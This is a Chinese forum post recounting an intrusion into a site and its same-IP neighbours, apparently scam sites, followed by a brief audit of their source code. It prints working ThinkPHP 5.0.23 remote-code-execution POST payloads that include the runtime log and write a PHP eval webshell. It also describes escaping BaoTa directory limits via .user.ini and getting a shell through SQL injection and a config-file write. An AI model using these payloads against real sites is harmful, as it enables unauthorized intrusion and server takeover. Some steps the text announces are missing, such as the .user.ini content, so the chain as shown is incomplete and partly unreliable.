本帖最后由 zhaorong 于 2020-7-13 14:43 编辑
一、同IP渗透
最近朋友发了个站叫我看看 打开一看 发现是TP3.2.3开发的 本想直接利用tp3可以直接查看runtime日志来
获取他的后台账号密码的 发现并没有开启debug模式 所以无法查看到日志信息。
随便注册了一个账号进去 看有没有注入 无果 对这个站进行信息收集 进行同ip的反查 发现7个地址。
每个域名又是不同的源码发开的 发现一个thinkphp5.0.23的网站 可以利用rce
发现无法直接执行代码 需要利用runtime日志或者session来进行文件包含获取shell这里
利用runtime日志来进行文件包含getshell 先写入日志。
利用日志进行包含 post发送:
- method=__construct&method=get&filter[]=think\__include_file&server[]=phpinf
- o&get[]=../runtime/log/202007/08.log&x=phpinfo();
复制代码
写入shell:
- method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runt
- ime/log/202007/08.log&c=fputs(fopen('x.php','w'),'<?php eval($_POST[c]);?>');
复制代码
成功getshell 由于是宝塔搭建的 无法访问其他路径 这里可以在新的文件上传一个.user.ini 再在这
个文件上传一个一句话 就能成功访问其他目录了 .user.ini内容为:
重新尝试访问www目录 成功
这样就成功拿下主站的权限的 发现主站的代码 fofa查了下 有很多使用这套诈骗源码开发的
就下载了下来审计了下。
二、代码审计
发现前台sql注入 没有任何过滤
由于需要开启debug模式才会生效
这个诈骗源码太多注入了 就不看其他的了 全局查找file_put_contents 发现后台可以写入配置文件getshell
他明明都使用了var_export函数 却要添加一个stripslashes去掉转义符 构造如下payload
访问文件 成功写入phpinfo
三、后记
文章写的有点菜 望大佬门不要喷我。。。。。。。。。